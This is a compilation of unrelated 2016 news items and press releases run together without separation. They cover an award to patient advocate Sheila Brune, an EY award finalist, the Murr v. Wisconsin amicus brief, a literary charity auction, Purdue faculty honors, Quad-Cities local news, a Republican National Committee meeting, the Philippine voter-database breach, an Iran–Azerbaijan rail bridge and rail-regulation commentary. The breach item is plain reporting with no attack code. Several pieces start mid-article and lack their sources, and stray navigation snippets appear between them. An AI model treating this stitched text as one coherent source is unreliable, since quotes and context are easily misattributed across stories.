The Patient Advocacy Community of The Beryl Institute presented Speaker, Consultant and Retired Patient Advocate Sheila Brune with the 2016 Ruth Ravich Award in recognition of her extraordinary contributions to the field of patient advocacy and to fellow patient advocates. Brune was honored with the award at The Beryl Institutes annual Patient Experience Conference on April 13 in Dallas, Texas.

When Brunes father died in 2001 as a result of failure to rescue, she made it her goal to ensure the culture changed at hospitals by presenting her story to a variety of audiences and engaged in untiring work to improve communication with families and patients. Brune created the Living History Program, a process for the care delivery team to strengthen connections with patients by engaging them to gather and share basic life information. For the last 16 years, she has taken the Living History Program to hospitals, nursing homes, hospices, home health agencies, rehab centers, Department of Veteran Affairs and universities. Now a retired patient advocate, Brune continues to raise awareness of the patient advocate role and educate the public on how to be good advocates for themselves and for their families.

Sheila Brune exemplifies patient advocacy as its best. Sheila has used her life experiences to help others understand the power of listening and engaging on a personal level with our patients. In doing this we can better understand their journey and be a crucial part of improving their experience, said Kim Pedersen, Administrative Director, Patient Relations at MarianJoy Rehabilitation Center and Patient Advocacy Community Executive Team Member. We are proud to recognize such a deserving individual for her time, service and passion for improving experience within the field of patient advocacy.

Awarded annually since 1991, the Ruth Ravich Award recognizes individuals whose work supports the vision of bringing the patients needs to the center of healthcare. Ruth Ravich was the founder and first president of the Society for Healthcare Consumer Advocacy, now the Patient Advocacy Community of The Beryl Institute. As the profession of Patient Advocacy and patient centered care has evolved, the award has come to also recognize individuals within the Patient Advocacy Community who engage in focused efforts to be of support to fellow Advocates in promoting patient rights and patient centered care.,

To learn more about the Patient Advocacy Community of The Beryl Institute, visit http://www.theberylinstitute.org/?page=PAC.

###

About The Beryl Institute:

The Beryl Institute is the global community of practice dedicated to improving the patient experience through collaboration and shared knowledge. We define patient experience as the sum of all interactions, shaped by an organizations culture, that influence patient perceptions across the continuum of care.
Ernst & Young announced that Mike Rothman, chairman and CEO of SMS Assist, is a finalist for the EY Entrepreneur of the Year 2016 Award in the Midwest, which encompasses Illinois and Wisconsin. The awards program, which is celebrating its 30th year, recognizes entrepreneurs who demonstrate excellence and extraordinary success in such areas as innovation, financial performance and personal commitment to their businesses and communities.

Rothman was selected as a finalist by a panel of independent judges. Award winners will be announced at a black-tie celebration on June 15, 2016 at the Navy Pier Grand Ballroom in Chicago.

SMS manages a network of more than 20,000 certified affiliate subcontractors providing the highest quality maintenance services to more than 110,000 client locations. The companys cutting-edge platform technology eliminates unnecessary steps in the maintenance workflow by integrating customer, subcontractor and SMS operations, allowing clients to reduce maintenance costs and improve service, quality and the overall customer experience.

Based in Chicago, SMS Assist is revolutionizing property management with its proprietary, cloud-based platform and fully-managed business solution for a growing list of national and Fortune 500 companies, including Family Dollar, O'Reilly Automotive, Inc. and Colony Starwood Homes.

Its humbling to be included among such an innovative and well-respected group of colleagues and entrepreneurs, said Rothman. Im honored by the great recognition EY brings with the Entrepreneur of the Year program and look forward to working with our fellow finalists to continue cultivating the dynamic entrepreneurial community here in the Midwest.

The EY Entrepreneur of the Year program has expanded to recognize business leaders in more than 145 cities in more than 60 countries throughout the world. Regional award winners are eligible for consideration for the EY Entrepreneur of the Year National program. Award winners in several national categories, as well as the EY Entrepreneur of the Year National Overall Award winner, will be announced at the EY Entrepreneur of the Year National Awards gala in Palm Springs, California, on November 19, 2016. The awards are the culminating event of the Strategic Growth Forum, the nations most prestigious gathering of high-growth, market-leading companies.

Founded and produced by EY, the Entrepreneur of the Year Awards are sponsored nationally by SAP America, Merrill Corporation and the Ewing Marion Kauffman Foundation. In the Midwest, region sponsors include LaSalle Network, Plexus Groupe, PNC Bank, Becker Professional Education, Cresa Chicago, Chatham Financial, DLA Piper and 1871.

About SMS Assist

SMS Assist is a Chicago-based technology company providing multisite property management to a roster of clients with more than 110,000 service locations. Using its proprietary software platform to manage its network of more than 20,000 affiliate subcontractors, SMS Assist offers a suite of property management benefits including leveraged pricing of products and services, $30 million risk indemnification, real-time services validation, instant invoicing, automatic service audits and data analysis to ensure quality and cost efficiency. SMS Assist is revolutionizing multisite property management services for its growing list of national and Fortune 500 clients including Family Dollar, O'Reilly Automotive, Inc. and Colony Starwood Homes. To learn more, visit smsassist.com.

About EY Entrepreneur Of The Year

EY Entrepreneur of the Year is the worlds most prestigious business award for entrepreneurs. The unique award makes a difference through the way it encourages entrepreneurial activity among those with potential and recognizes the contribution of people who inspire others with their vision, leadership and achievement. As the first and only truly global award of its kind, Entrepreneur Of The Year celebrates those who are building and leading successful, growing and dynamic businesses, recognizing them through regional, national and global awards programs in more than 145 cities in more than 60 countries.

About EYs Strategic Growth Markets practice

EYs Strategic Growth Markets (SGM) practice guides leading high-growth companies. Our multidisciplinary teams of elite professionals provide perspective and advice to help our clients accelerate market leadership. SGM delivers assurance, tax, transactions and advisory services to thousands of companies spanning all industries. EY is the undisputed leader in taking companies public, advising key government agencies on the issues impacting high-growth companies and convening the experts who shape the business climate. For more information, please visit us at ey.com/us/strategicgrowthmarkets, or follow news on Twitter @EY_Growth.

About EY

EY is a global leader in assurance, tax, transaction and advisory services. The insights and quality services we deliver help build trust and confidence in the capital markets and in economies the world over. We develop outstanding leaders who team to deliver on our promises to all of our stakeholders. In so doing, we play a critical role in building a better working world for our people, for our clients and for our communities.

EY refers to the global organization, and may refer to one or more, of the member firms of Ernst & Young Global Limited, each of which is a separate legal entity. Ernst & Young Global Limited, a UK company limited by guarantee, does not provide services to clients. For more information about our organization, please visit ey.com.
Owners' Counsel of America joined The Cato Institute in a brief supporting the property owners in a regulatory takings case before the U.S. Supreme Court. Regulatory takings are about the impact of government regulation on an owner's use of property and how the regulation has an economic impact on the property as an exercise of the government's eminent domain power. Past News Releases RSS International Property Rights...

Alabama Eminent Domain Lawyer...

Owners Counsel of America Files...

The Owners Counsel of America has joined with The Cato Institute to file an amici curiae brief with the United States Supreme Court in Murr v. Wisconsin, No. 15-214, a regulatory takings case the Court agreed to review on January 15, 2016. Amici urge the Court to reverse the decision of the Wisconsin Court of Appeals and establish a bright line rule clarifying the legal test for regulatory takings.

This case arises from the property owners appeal of the Wisconsin Court of Appeals opinion in Murr v. State of Wisconsin, 359 Wis. 2d 675, 2014 WL 7271581 (Dec. 23, 2014) in which the Court upheld a trial courts judgment dismissing the owners regulatory takings claim. (Murr v. State of Wisconsin, No. 2013AP2828, Slip op. at 1.) The Court of Appeals concluded that two separate but adjacent one acre parcels owned by the Murr family should be considered as a single contiguous property for purposes of their takings claim. The appellate court reasoned it is a "well-established rule that contiguous property under common ownership is considered as a whole regardless of the number of parcels contained therein." (Slip op. at 10.)

In an effort to sell one of the two parcels, a vacant lot, and make upgrades to the existing cabin located on the second parcel, the Murr family sought a variance and the necessary government permissions. The county denied their application because a county ordinance - St. Croix County, Wis. Code of Ordinances, Land Use & Dev. Subch. 111.V, Lower St. Croix Riverway Overlay Dist.  17.36I.4.a - prohibits the individual development or sale of adjacent lots under common ownership, unless an individual lot has at least one acre of net project area. The Murrs appealed the denial and the courts affirmed the countys decision. (Slip op. at 3-4.)

The Murr family then brought suit against the state and county alleging that the ordinance resulted in the uncompensated taking of their property under the Wisconsin Constitution. The Murrs alleged that the ordinance deprived them of all, or practically all, of the use of Lot E because the lot cannot be sold or developed as a separate lot. (Slip op. at 5.) The trial court concluded that no regulatory taking occurred because the property, when considered as a whole, retained some economically beneficial uses. The Wisconsin Court of Appeals agreed holding that the relevant parcel for a taking was the parcel as a whole or both lots combined together, rather than each as a unique and separate property. (Slip op. at 10-11.)

The amici brief filed on behalf of The Cato Institute and OCA was authored in part by the George Mason Law School Supreme Court Clinic. In the brief, amici call upon the Supreme Court to adopt a bright-line rule against combining separate properties under common ownership to measure the parcel as a whole. The brief argues that a rule against combining would add much-needed clarity to the takings test established by the Court under its ruling in Penn Central Trans. Co. v. New York City, 438 U.S. 104 (1978). (Amici brief at 4.)

Speaking on behalf of amicus party Owners Counsel of America, OCA Hawaii Member Robert H. Thomas, Esq. explained, regulatory takings are about the impact of government regulation on an owner's use of property and how the regulation has the same economic impact on the property as an exercise of the government's eminent domain power. In this area of law, the size of the property often dictates the severity of the impact  the smaller the property, the more severe the impact.

The question in Murr is whether the extent of the owners' loss of use can be measured by aggregating other land owned by them, even though both properties are distinct and separate legal parcels, stated Thomas. The brief filed by Cato and OCA argues that the Wisconsin appellate court decision creates larger parcels of land, making it easier for the government to effect uncompensated takings.

About Owners Counsel of America

The Owners Counsel of America (OCA) is a nationwide network of experienced eminent domain lawyers dedicated to protecting the rights of private property owners large and small, locally and nationally, and to advancing the cause of property rights. The attorneys affiliated with OCA are in private practice in nearly every state and represent private owners against federal, state, and local governments, utilities, transportation and redevelopment authorities and other entities that may be armed with eminent domain power. For more information or to locate an eminent domain lawyer in your state, please visit http://www.ownerscounsel.com.
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Authors, illustrators, agents, editors, and more are coming together to help raise money to support the refugee crisis in Europe. Writing for Charity is an effort to support Lifting Hands International by auctioning off literary items from the standard to the unusual to get supplies directly to refugee camps in Europe. The 145 auction items range from manuscript critiques and author school visits to a piggyback ride from Dean Hale.

Ive been anxious to do more for the refugee crisis, Hale said in an email to PW, so she and author Mette Ivie Harrison have organized the auction, calling on friends in the industry to donate time and items to the cause. The range of items (and experiences), include novel critiques from authors, editors, and agents including Tessa Gratton, handknit items from Kristin Cashore, school visits from authors including Adam Gidwitz, and a pole dance from Hale along with Daniel Handler. The auction site and catalog can be accessed here. The auctions end on May 2 at midnight Pacific Time.
Jan Constantine, who has been the legal counsel for the Authors Guild since October 2005, will step down from that position at the end of the month. The Guild is currently working on a plan to find her successor.

Constantine was hired by the Guilds former executive director, Paul Aiken, as a part-time employee but was quickly working a full-time schedule as she helped to oversee the Guilds copyright infringement lawsuit against Google, which was filed the week before she joined the association.

In a letter sent to Guild council members, Constantine made it clear her decision to leave the Guild shortly after the U.S. Supreme Court denied the associations appeal in the Google case was not a coincidence (The court rejected the appeal Monday). I promised Paul when he became incapacitated that I would continue at the Guild until the Supreme Court had ruled on our petition for certiorari. That time has arrived and it is only fitting that I take leave of the Authors Guild a week after the lawsuit was over; Paul would have liked the symmetry of my tenure I am certain, she wrote. Aiken died in February from ALS, also known as Lou Gehrig's Disease.

Jan put an incredible amount of dedication and energy into the initiatives she spearheaded on behalf of authors, said Guild president Roxana Robinson. We are all grateful for the skill, acuity, and knowledge with which she carried out her work at the Guild.

Among the most recent initiatives Constantine worked on was the Authors Guild Fair Contract Initiative, a series of position papers challenging U.S. publishers to be more fair and reasonable in the standard contracts they often give first-time and unagented authors.

Constantine can be reached at Constantine Cannon LLP by e-mail atjconstantine@constantinecannon.com starting in May.
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 Faculty and staff honors:

- Julayne Moser, director of Graduate Studies in Purdue University's School of Mechanical Engineering, was elected to the board of directors of the American Society for Engineering Education. She is among seven officers newly elected to the board and will serve as chair of Professional Interest Council V. The board members will begin their terms at the society's annual conference in June in New Orleans. Moser has a combined 30 years experience with distance learning and graduate studies education at Purdue, and is a Phi Beta Kappa graduate of Indiana University, where she earned both bachelor's and master's degrees. She has been an ASEE member since 1994, serving as chair-elect, chair and secretary of the society's Continuing Professional Development division, and program chair of its Conference for Industry and Education Collaboration-Continuing Professional Development division.

- Elizabeth Mercier, continuing lecturer in Classics, has been awarded a $12,000 grant from the Andrew W. Mellon Foundation. The award will support a fellowship at the Pontifical Institute of Mediaeval Studies in Canada. Mercier will earn a specialized diploma from the institute in mediaeval manuscript studies, offered in conjunction with the American Academy in Rome. The program is offered in two summer sessions, one each in Toronto and Rome. Purdue's Classics program offers courses in Latin, Ancient Greek, and translation, and is housed in the School of Languages and Cultures. More information is available online: https://www.cla.purdue.edu/news/fth/email/Mercier._Liz%202.html

-Ray Hansen, clinical assistant professor of computer and information technology, received the 2016 Distinguished Service Award from the Information and Telecommunications Education and Research Association for his "many contributions to service, education, and research." For more, visit https://polytechnic.purdue.edu/newsroom/hansen-honored-itera

 Notables:

- Ellen Kossek, a faculty member in Purdue University's Krannert School of Management, will present the keynote address Saturday (April 23) at a work/life policy seminar in Seoul, South Korea. The speaking engagement was organized by the South Korean Academy of Management at Chung Ang University. She also moderated a panel that included leadership from South Korea's Ministry of Labor and Employment and executives from Samsung Electronics. Kossek is director of research for the Susan Bulkeley Butler Center for Leadership Excellence.

- Physical Facilities was presented a Tree Campus USA award at the recent Earth Day celebration. This is the seventh consecutive year that Purdue has received the Tree Campus USA designation, which is given to campuses that meet the following five standards outlined by the Arbor Day Foundation: maintaining a tree advisory committee, utilizing a campus tree-care plan, dedicating annual expenditures toward trees, holding an Arbor Day observance and organizing student service-learning projects.

 Alumni honors:

- Mike Dilts, president and CEO of Shiel Sexton Co., and Rob McKinney, president of Mokulele Airlines, were honored Friday (April 22) as Purdue Polytechnic Institute's distinguished alumni. Outstand Technology Alumni awards were presented to Ryan G. Edgell of Indianapolis, and Phillip Kinnison of Chicago. Early Career Award recipients were Mike Alder of McCordsville, Indiana; Chris Durnil of Indianapolis; Anthony Gregory of Dallas, Texas; and Parker Woods of Indianapolis. For more, visit https://polytechnic.purdue.edu/newsroom/eight-technology-alumni-be-honored-april-22
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Patricia M. Fulton will celebrate her 90th birthday with a family gathering.

She was born April 26, 1926, in Kellerton, Iowa, to Harry V. and Vesper B. Hull. She married Robert F. Fulton on June 20, 1948, in Humboldt, Iowa.

They resided in Clinton, Iowa, where Bob was co-owner and advertising manager of the Town Talk. Patt was a homemaker until returning to college and receiving her MA in 1972. She was a speech-language pathologist until her retirement in 1982. Bob passed away in 1988.

Their children are John (Brenda), Kimberly (Fred) and Susan (James). Patt has a stepgranddaughter; a granddaughter; a stepgreat-grandson and a great-grandson.

Patt is a member of First Presbyterian Church, East Moline, and is a 62-year member of the P.E.O. sisterhood. She has published three genealogy books, detailing the ancestory in her father's, mother's and husband's families.
EAST MOLINE  Pizza dough soon will rise where flowers once were raised.

Saint Giuseppe's Pizza is preparing to move from Moline to a former Hignight Florist greenhouse at 363 Avenue of the Cities, East Moline.

On Thursday, restaurant founder Bobby Schilling and his son, current owner/operator Joe Schilling, offered a sneak peak of the building being renovated. Plans are to close Saint Giuseppe's at 2525 53rd St., Moline, in late August and transition to the new site in early September, he said.

"We should be open by Sept. 1," Bobby Schilling said.

Mr. Schilling said he has owned the former greenhouse building since 2009 and has been "tinkering with it since November." He and friends have done most of the labor, he said, with the remaining plumbing, electrical and other work to be done by local contractors.

Mr. Schilling estimated he has spent about $100,000 so far on the project and may spend another $100,000 to finish it, possibly buying a new pizza oven instead of taking a chance on damaging the current one while moving it.

The restaurant also may increase its eight-member staff, he said, when it moves next to Hignight Florist and near Man's Image Family Hair Salon. A sign in the parking lot that bears the name of a closed insurance office will next hold St. Giuseppe's logo, Bobby Schilling said.

The new building will increase the restaurant's size from about 2,100 square feet to 3,200. It also will have 60 parking spots, compared to 22 at its current site, Mr. Schilling said.

Being on the Avenue of the Cities will greatly improve its visibility, he said, and increase the numbers of "impulse customers." Mr. Schilling said the Moline location was a "destination point," where customers had to make a point to go and "Eat at Joe's." Joe, in Italian, is Giuseppe.

Joe Schilling said it's exciting to see how the new restaurant gets closer to becoming a reality every day.

"We'll be ready to rock-'n'-roll soon," he said.

Customers can expect the same-flavored pizza pie they have grown to expect, he said.

Bobby Schilling said he expects great success, based on how his son already has doubled the business since taking it over. He said the family also may consider franchising the restaurant.

"Joe's an innovator," Bobby Schilling said. "It's going to be big."
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River Action is holding its 14th annual Fish & Fire Friendraiser and Fundraiser tonight at Modern Woodmen Park in Davenport.

Citizens, artists, policymakers, corporate leaders, entrepreneurs, environmentalists, elected officials and philanthropists will join to celebrate the Mississippi River and work being done to make it and the communities along it more resilient, according to a release from the nonprofit.

The 2016 Eddy Award winners -- honoring outstanding riverfront activity or development -- are:

-- Pat Stolley and Josh Rose (for supporting art in the Quad-Cities): They partnered to remodel a building at 311 21st St., Rock Island, into Futureappletree Studio. It offers discount space for artist studios, a recording studio and affordable practice spaces.

-- Richard Bittner/Bechtel Trusts (art award for Lincoln with Boy on Bridge): With this bronze sculpture of Abraham Lincoln he commissioned, at Bechtel Park in Davenport, Mr. Bittner -- a lawyer, writer, historian, trust officer and community activist -- "has been instrumental in making known Lincolns legal vision, courtroom prowess and pivotal role in advancing the transcontinental railway in Davenport," River Action said.

-- Zack Peterson (design award for River Heritage Park): The design for this new Davenport park revived a distressed industrial site without losing its surviving assets, "those of a working riverfront and fantastic views," and includes public trails, River Action said. Mr. Peterson also will be honored for this park by the Iowa chapter of the American Society of Landscape Architects.

-- Mississippi River Eco-Tourism Center (for education): Mark Roberts, education director, has built a state-of-the-art center on the Mississippi at Rock Creek, Camanche, Iowa. It has permanent displays and special traveling exhibits.

-- Lisa Whalen (for environmental education and outreach): A fifth-grade teacher at Davenport's Hayes Elementary, Ms. Whalen is "not content to limit lessons to the classroom. Lisa has opened the eyes of her students to the outdoors. She uses teams, community speakers, field trips to Nahant Marsh, Duck Creek, Lost Grove Lake, and the river to conduct water testing, observe insects, waterfowl and plants," according to River Action.

-- MetroLink/Renaissance Rock Island (for revitalization for The Locks and District Station): The team of Jeff Nelson, general manager of MetroLink, and Brian Hollenback, executive director of Renaissance Rock Island, have "that rare combination of talents and resources to accomplish big developments such as the square block project known as The Locks and District Station in Rock Island," the release said.

-- Riverdale Mayor Sonja Paddock (for river activity): For extending a river trail that links Duck Creek Trail, the Mississippi Trail, Alcoa and the entrance to Scott Community College.

-- Brian Parkinson (for stewardship): This innovative Rock Island County farmer uses cover crops on his 1,300-acre farm to help slow soil erosion, increase soil organic matter, reduce compaction and improve soil health.

-- Tim Huey (for stewardship): Scott County planning director, he prepared zoning to prohibit development and assure conservation and control natural resources surrounding Lost Grove Lake.

-- Tom and Pat Bolton (for volunteering): They volunteer for the Coast Guard Auxiliary, Quad City Bicycle Club and River Action. The Boltons, "truly a power couple, inspire all who know them," the release said.

-- Walt Bassow (for volunteering): Owner of the barge business, Mississippi River Fleeting, Buffalo, Iowa, he volunteers for nonprofit groups, including towing bikes for Ride the River from Bettendorf to Moline for 20 years.

-- Bill Gluba (special recognition award): The former Davenport mayor sold Viking River Cruises on making the city a port of call; was a founding member of the Mayors Mississippi River Cities & Towns Initiative, a national advocacy group; and led development of the spray park in Centennial Park, demolition of the Dock Restaurant for green space and Veterans Memorial Park.
Even as his team pressed Trump's case, the billionaire raised fresh concern among some conservatives by speaking against North Carolina's "bathroom law," which directs transgender people to use the bathroom that matches the sex on their birth certificates. Trump also came out against the government's plan to replace President Andrew Jackson with the civil-rights figure Harriet Tubman on the $20 bill.

The developments came as the GOP's messy fight for the White House spilled into a seaside resort in south Florida. While candidates in both parties fanned out across the country before important primary contests in the Northeast, Hollywood's Diplomat Resort & Spa was transformed into a palm-treed political battleground.

There were new signs of frustration among members of the Republican National Committee, who are eager for the divisive primary season to end.

"I want to see Mr. Trump begin to bring us together," said Henry Barbour, a committeeman from Mississippi. "And I haven't seen it. It's not good enough to do it for 30 minutes one day and then the other hours of the day try to divide."

On one side in the long-running battle, Ted Cruz's team warned party elders in private briefings that only the Texas senator could expand the GOP and heal deepening intraparty divisions. On the other, Trump's revamped inner circle quietly courted RNC members who openly questioned the front-runner's tone and party loyalty.

"People have expressed concerns about that," said Paul Manafort, tapped by Trump earlier in the month to lead the remainder of his primary election strategy. "We hear them."

"We're here letting people know that know we're starting to pivot toward the inevitability of the nomination," Manafort told The Associated Press. "We want to start opening doors and building relationships because we are committed to running a traditional united party."

There was evidence of a rift on the Democratic side as well.

Prominent Southern Democrats urged Bernie Sanders to stop dismissing Hillary Clinton's landslide primary wins across the South, where the front-runner's popularity among non-whites has helped fuel her success.

Sanders said the results in the South "distort reality" because they came from the country's "most conservative region."

Don Fowler of South Carolina, a former chairman of the Democratic National Committee, and other Clinton supporters told Sanders in a letter that "our national Democratic leaders" should "invest in our races and causes  to amplify our voices, not diminish them."

Yet as Clinton's grasp on the Democratic nomination tightens, Trump's overwhelming Republican delegate lead has done little to calm concerns from GOP leaders, gathered at the resort for the party's meeting.

As Trump continues to rail against "a rigged" nomination process, he sent Manafort and his newly hired political director, Rick Wiley, to help improve relationships with party officials at the meeting.

The aides were to deliver a private briefing to RNC members Thursday evening aimed at "dispelling the notion out there right now" that Trump's current unpopularity among key general election constituencies  women and minorities, for example  would trigger a general election disaster, Wiley said.

Trump's team planned to draw on political history to make the case.

Wiley cited polls that found Ronald Reagan and George H.W. Bush struggling in presidential campaigns before they won. Wiley also said Trump could compete and even win in Democratic strongholds such as Pennsylvania, Michigan, Wisconsin  and even deeper-blue states such as New Jersey, Oregon and Washington.

"He might not win some of these blue states, but you can make the Democrats spend money and time," Wiley said.

Trump is increasingly optimistic about his chances in five states holding primary contests Tuesday: Rhode Island, Connecticut, Pennsylvania, Delaware and Maryland. He is now the only Republican candidate who can possibly collect the 1,237 delegate majority needed to claim the nomination before the party's July convention.

But Cruz hopes Trump will fall short of a nomination-clinching delegate majority so that he can turn enough delegates to his side at the convention to give him the prize.

The political posturing came as Trump sparked new criticism by addressing the debate over which bathrooms transgender people should use.

Speaking at a town-hall event on NBC's "Today" show Thursday, Trump said North Carolina's bathroom law has caused unnecessary strife and transgender people should be able to choose which bathroom to use.

"There have been very few complaints the way it is," Trump said. "People go, they use the bathroom that they feel is appropriate."

Cruz lashed out at Trump's "support of grown men using women's restrooms." The Texas senator called Trump's position "a reckless policy that will endanger our loved ones."

Trump also said the plan to swap Jackson for Tubman on the $20 bill is an act of "pure political correctness."

Trump called Tubman "fantastic" but said he'd prefer to leave Jackson on the bill and place Tubman's image on another denomination: "Maybe we do the $2 bill," he said.
Saturday, April 30, from noon to 3 p.m. at German American Heritage Center, 712 W Second Street, Davenport. Free admission.

Join us along with the American Schleswig Holstein Heritage Society, German Family Club of the QC and Schuetzenpark Gilde for food, dancing, fellowship and fun and we greet the Spring German-style!
They said government agents arrested a 23-year-old suspect, a recent graduate in information technology, late Wednesday at his home in Manila. Officials are searching for his alleged accomplices.

Commission on Elections spokesman James Jimenez said the computerized elections will be run on a different server, not the one that was hacked, and that experts say the polls are unlikely to be compromised.

The exposed data is feared to include voters' names, birthdays, home addresses, email, parents' full names and in some cases passport details and text markers of fingerprints.

A hacker group defaced the website of the election commission last month, and a second hacker group posted the entire database online, with mirror links where the data could also be downloaded, according to Internet security company Trend Micro.

The Tokyo-based company first reported the breach on its website .

The commission said it has shut down its website.

Presidential spokesman Herminio Coloma condemned the cyberattack and said government agencies are working with the commission to strengthen its security. The government vowed to prosecute the perpetrators.

"Although verifications that have been made thus far have shown that the integrity of the automated election system has not been affected by the latest cyberattack, we share the public's concern on the ill-effects of this act," he said.

Trend Micro said that with the breach, "every registered voter in the Philippines is now susceptible to fraud and other risks."

"With 55 million registered voters in the Philippines, this leak may turn out as one of the biggest government-related data breaches in history," it said. The data dumps include 15.8 million records of fingerprints, it added.

There are 54.3 million registered voters in the country and 1.3 million living overseas.

Jimenez said the data did not include actual fingerprints, but text markers that cannot recreate fingerprints.

Troy Hunt, an Australian Internet security expert, said it's difficult to know whether the election results will be put at risk, but that "there were clearly egregious oversights" by election officials "which raise serious questions about their ability to protect their information systems."

The hacking scandal comes amid an investigation into the cybertheft of $101 million from the Bangladesh central bank's account in the Federal Reserve Bank of New York, and the money's transfer to the Philippines and Sri Lanka.

A Philippine Senate inquiry has shown that $81 million was diverted to bank accounts created with fictitious names at a branch of a Philippine bank, consolidated and then shifted to Philippine casinos and junket operators through a local remittance company.
Meng Brings NASA Astronaut To Queens On October 17, U.S. Rep. Grace Meng (D-Queens) brought NASA astronaut Dr. Jonny Kim to Queens where he met and spoke with students at Francis...

Celebrating Columbus The Federation of Italian-American Organizations of Queens (FIAO) held their annual Columbus Day parade in Astoria, on Saturday, October 8, during Italian Heritage Month. The...

Russo-Elling Mourned More than 300 first responders lined up on Thursday night to honor FDNY EMT Lt. Alison Russo-Elling, as her body was placed into a waiting...
The dual-gauge (1520mm and 1435mm gauge) bridge will connect the Azerbaijan Railways (ADY) railhead at Astara with the Iranian town of the same name, where it will join the Iranian Islamic Republic Railways (RAI) network. RAI completed construction of the line from Qazvin to Rasht in 2015 and the remaining Rasht - Astara section is due to be commissioned in 2017.

The 82m-long three-span Astarachay bridge will completed by the end of this year.

The Qazvin  Rasht  Astara railway is part of a north - south corridor across Iran stretching from the Gulf port of Bandar Abbas to Azerbaijani border. RAI forecasts the construction of the line will increase freight volumes on the Iranian network by 6 million tonnes initially and up to 15 million tonnes in the longer-term.

Moreover, Iran and Azerbaijan are discussing the possible connection of the Nakhchivan  Culfa  Tabriz and Baku  Tbilisi  Kars lines by constructing a new line linking Tabriz with Astara. This would connect the Nakhchivan Autonomous Republic, a landlocked exclave of Azerbaijan, with the contiguous part of the republic.
News item: Executive Order No. 13725, issued April 15 by President Obama, and published in the April 20 Federal Register, mandates that Executive Branch federal agencies take specific actions to promote competition.

News reminder: The Surface Transportation Board (STB) Reauthorization Act of 2015 removed the STB from the cabinet level Department of Transportation, amputating all administrative ties with DOT and establishing the STB as an independent federal agency.

Thus, you might think that the STB, as an independent federal agency, is not subject to Executive Orders. Think again.

Notwithstanding the STBs independent status, its three voting membersespecially the two of the same political party as the presidenthave a strong self-interest incentive to comply, which should disturb the sleep of railroad management and investors, while raising the hopes of captive rail shippers having few or no effective alternatives to rail transportation.

The Executive Order, entitled, in part, Steps to Increase Competition, instructs Executive Branch federal agencieswhile encouraging independent federal agencies, such as the STBto take actions in their areas of responsibility to address undue burdens on competition.

This Executive Order could be a catalyst for action favoring rail captive shippers on two already pending matters.

One is whether to grant shippers, captive to a single railroad within terminal areas, access to a second railroad, with the STB establishing the level of compensation to the railroad whose track is used by the competitor. The result could cap or reduce affected freight rates.

Compounding concern among opponents is that Canadian Pacific (CP) offered voluntarily to grant such access were it permitted by the STB to acquire Norfolk Southern (NS)a hostile takeover attempt subsequently scrapped by CP in the face of intimidating opposition in the U.S. Strongly opposing such terminal trackagerights are BNSF, CSX, NS and Union Pacific.

The concern acknowledges that if the tightest run railroad in North AmericaCPis comfortable with the result, the opposing arguments may be interpreted by the STB as less than sincere.

STB Chairman Dan Elliott has staff working on a draft decision that has yet to be seen by fellow membersDemocrat Deb Miller or Republican Ann Begemanalthough they are said to have been briefed informally by staff that reports to Elliott. Miller and Begeman are said to have concerns with the draft, but to what extent is not known.

The Executive Order could well nudge Elliott more into the captive shipper camp. He still smarts from a near five-month hiatus from the STB in 2015 after President Obama failed to renominate him during Elliotts first-term holdover year in 2014, forcing Elliott to depart the agency Dec. 31, 2015, pending renomination that didnt occur until May 2015. Speculation had captive-shipper friendly Democrats in the Senatesteered by now-retired West Virginia Democrat Jay Rockefellercollectively encouraging the delay to create an unemployment period during which Elliott would reflect on his first-term record. Also evident to Elliott is that Senate Commerce Committee Chairman John Thune, although a Republican, represents South Dakota where adoration of railroads is a relatively scarce commodity. That Begeman, with incomparable political savvy, is a fellow South Dakotan injects similar peppery intrigue to speculative endeavors as does the emergence of this Executive Order.

The second pending matter, which also could fit the template of the Executive Order, is whether to ease the standard for pronouncing railroads revenue adequate, and whether to restrict the rate-making freedom of revenue adequate railroads. Begeman and Miller reportedly have yet to be briefed on progress.

Harmony has not been typical of the Miller and Begeman relationship with Elliott. Begeman, in the holdover year of her first term, and with no indication of whether she will be renominatedindeed, even wishes a renominationhas issued 40% of all STB dissents in the 21-year history of the STB. While Miller and Begeman have exhibited philosophical differences on issues, they are seen and said to be more collegial in their interaction.

It has been a year since Elliott promised the Senate Commerce Committeeat his confirmation hearing for a second termexpedited action on the terminal trackage rights issue. It will be one of the top things for me to do, Elliott then said. And just six months ago, he told the STBs bar association that the STB would act within three to six months. Whether failure to obtain consensus is because of discord or inability to find intellectual common ground with Begeman and Miller is unknown.

Meanwhile, it is appearing increasingly unlikely that expansion of the STB from three members to five, as provided by the Surface Transportation Board Reauthorization Act of 2015, will occur in 2016. President Obama has yet to make nominations, and Senate confirmation of new STB members could be problematic given this election years escalating political polarization.

If Elliott is unable to find a second vote for his terminal trackage rights or revenue adequacy draft decisions, each could remain dormant pending arrival of twoor perhaps three, if Begeman departsnew STB members.

Moreover, Elliott serves as chairman at the pleasure of the President, and even were another Democrat elected to the White House in November, that President could select a different chairman (although Elliotts term as a STB memberhis second term runs through 2018; Millers through 2017would not be affected).

The takeaway is that notwithstanding the Executive Order, the STB may not act on these two cases in the near term. To act on either requires two votes (among the current three STB members), and that second vote could remain elusive. With a new president in the White House come Jan. 20, 2017, the incentive to comply could dissolve, or the Executive Order could be revoked.

For railroads, this Executive Orderand the STB decisions on which it could impactcreates yet another regulatory rat hole worth watching.

To read Executive Order No. 13725, click on this link:

https://www.federalregister.gov/articles/2016/04/20/2016-09346/steps-to-increase-competition-and-better-inform-consumers-and-workers-to-support-continued-growth-of
CSX lands on Best Corporate Citizens List for fourth time Written by Carolina Worrell , Senior Editor









CSX on April 22, 2016 announced that it has been recognized as one of Corporate Responsibility Magazines Best Corporate Citizens for 2016 reflecting [the railroads] ongoing commitment to being a good neighbor in the communities it served. CSX, which has now made four appearances on the list, ranked 47 out of 100, and was the only railroad included in the ranking.

As we continue to shape CSX to meet the demands of tomorrow, we remain dedicated to safe and responsible operations, said Michael J. Ward, Chairman and CEO. Investing in our employees, communities, and the environment, and developing technologies for more efficient performance, are key aspects of creating a strong foundation for CSXs future.

CSXs performance on the list highlights the companys grant programs and in-kind donations, increased data transparency, continued shareholder returns, and progress on its 2020 sustainability goals.

CSX will soon be issuing its sixth Corporate Social Responsibility Report, which outlines 2015 performance and goals across key areas, including financial performance, governance, safety, employees, environment, and communities. The report also demonstrates CSXs relevancy to trends in the global marketplace and how CSX employees are living the companys Core Values to drive responsible and positive business results every day.

The 100 Best Corporate Citizens List measures all Russell 1000 companies based on 260 publicly-available data points in seven categories: environment, climate, employee relations, human rights, governance, finance, and philanthropy and community support. The ranking is determined on a relative comparison.

